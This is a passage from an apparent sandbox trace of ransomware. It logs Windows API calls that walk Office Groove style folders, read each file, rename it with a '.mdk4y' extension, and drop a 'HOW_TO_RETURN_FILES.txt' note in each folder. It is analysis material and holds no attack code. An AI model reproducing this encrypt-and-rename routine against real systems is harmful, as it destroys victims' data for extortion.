lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.402] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.402] AreFileApisANSI () returned 1 [0217.402] GetACP () returned 0x4e4 [0217.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.402] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.402] AreFileApisANSI () returned 1 [0217.402] GetACP () returned 0x4e4 [0217.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.402] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263300000) returned 1 [0217.403] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263300000) returned 1 [0217.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263300000) returned 1 [0217.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif.mdk4y")) returned 1 [0217.405] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.405] AreFileApisANSI () returned 1 [0217.405] GetACP () returned 0x4e4 [0217.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.405] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.406] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263600000) returned 1 [0217.406] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263600000) returned 1 [0217.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829263700000) returned 1 [0217.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif.mdk4y")) returned 1 [0217.408] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.408] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.408] AreFileApisANSI () returned 1 [0217.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 129 [0217.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.411] GetFileType (hFile=0x134) returned 0x1 [0217.412] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.412] AreFileApisANSI () returned 1 [0217.412] GetACP () returned 0x4e4 [0217.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Americana.css", lpUsedDefaultChar=0x37dd1c) returned 13 [0217.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829264300000) returned 1 [0217.413] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xa32, lpOverlapped=0x0) returned 1 [0217.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829266000000) returned 1 [0217.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829266000000) returned 1 [0217.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css.mdk4y")) returned 1 [0217.431] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.431] AreFileApisANSI () returned 1 [0217.431] GetACP () returned 0x4e4 [0217.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BabyBluea.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0217.431] AreFileApisANSI () returned 1 [0217.431] GetACP () returned 0x4e4 [0217.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=104, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\«꬀\x94") returned 104 [0217.432] AreFileApisANSI () returned 1 [0217.432] GetACP () returned 0x4e4 [0217.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.432] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.432] AreFileApisANSI () returned 1 [0217.432] GetACP () returned 0x4e4 [0217.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.432] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.432] AreFileApisANSI () returned 1 [0217.432] GetACP () returned 0x4e4 [0217.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="BUTTON.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.433] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829266300000) returned 1 [0217.434] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xb9, lpOverlapped=0x0) returned 1 [0217.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829266400000) returned 1 [0217.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829266400000) returned 1 [0217.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif.mdk4y")) returned 1 [0217.473] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.473] AreFileApisANSI () returned 1 [0217.473] GetACP () returned 0x4e4 [0217.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270400000) returned 1 [0217.475] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xff, lpOverlapped=0x0) returned 1 [0217.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270500000) returned 1 [0217.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270500000) returned 1 [0217.476] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif.mdk4y")) returned 1 [0217.477] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.477] AreFileApisANSI () returned 1 [0217.477] GetACP () returned 0x4e4 [0217.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.477] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270700000) returned 1 [0217.477] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270800000) returned 1 [0217.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829270800000) returned 1 [0217.478] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif.mdk4y")) returned 1 [0217.491] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.491] AreFileApisANSI () returned 1 [0217.491] GetACP () returned 0x4e4 [0217.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829272400000) returned 1 [0217.494] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829272400000) returned 1 [0217.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829272400000) returned 1 [0217.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif.mdk4y")) returned 1 [0217.496] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.496] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.496] AreFileApisANSI () returned 1 [0217.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 128 [0217.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.497] GetFileType (hFile=0x134) returned 0x1 [0217.498] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.498] AreFileApisANSI () returned 1 [0217.498] GetACP () returned 0x4e4 [0217.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBlue.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BabyBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0217.498] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829272800000) returned 1 [0217.498] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xc4f, lpOverlapped=0x0) returned 1 [0217.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829273000000) returned 1 [0217.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829273000000) returned 1 [0217.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css.mdk4y")) returned 1 [0217.502] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.502] AreFileApisANSI () returned 1 [0217.502] GetACP () returned 0x4e4 [0217.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Biscay", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Biscayue.css", lpUsedDefaultChar=0x37dd1c) returned 6 [0217.502] AreFileApisANSI () returned 1 [0217.502] GetACP () returned 0x4e4 [0217.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=102, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\") returned 102 [0217.502] AreFileApisANSI () returned 1 [0217.503] GetACP () returned 0x4e4 [0217.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.503] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.503] AreFileApisANSI () returned 1 [0217.503] GetACP () returned 0x4e4 [0217.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.503] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.503] AreFileApisANSI () returned 1 [0217.503] GetACP () returned 0x4e4 [0217.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.503] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273300000) returned 1 [0217.504] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0217.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273400000) returned 1 [0217.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273400000) returned 1 [0217.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif.mdk4y")) returned 1 [0217.505] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.505] AreFileApisANSI () returned 1 [0217.505] GetACP () returned 0x4e4 [0217.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829273600000) returned 1 [0217.506] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, 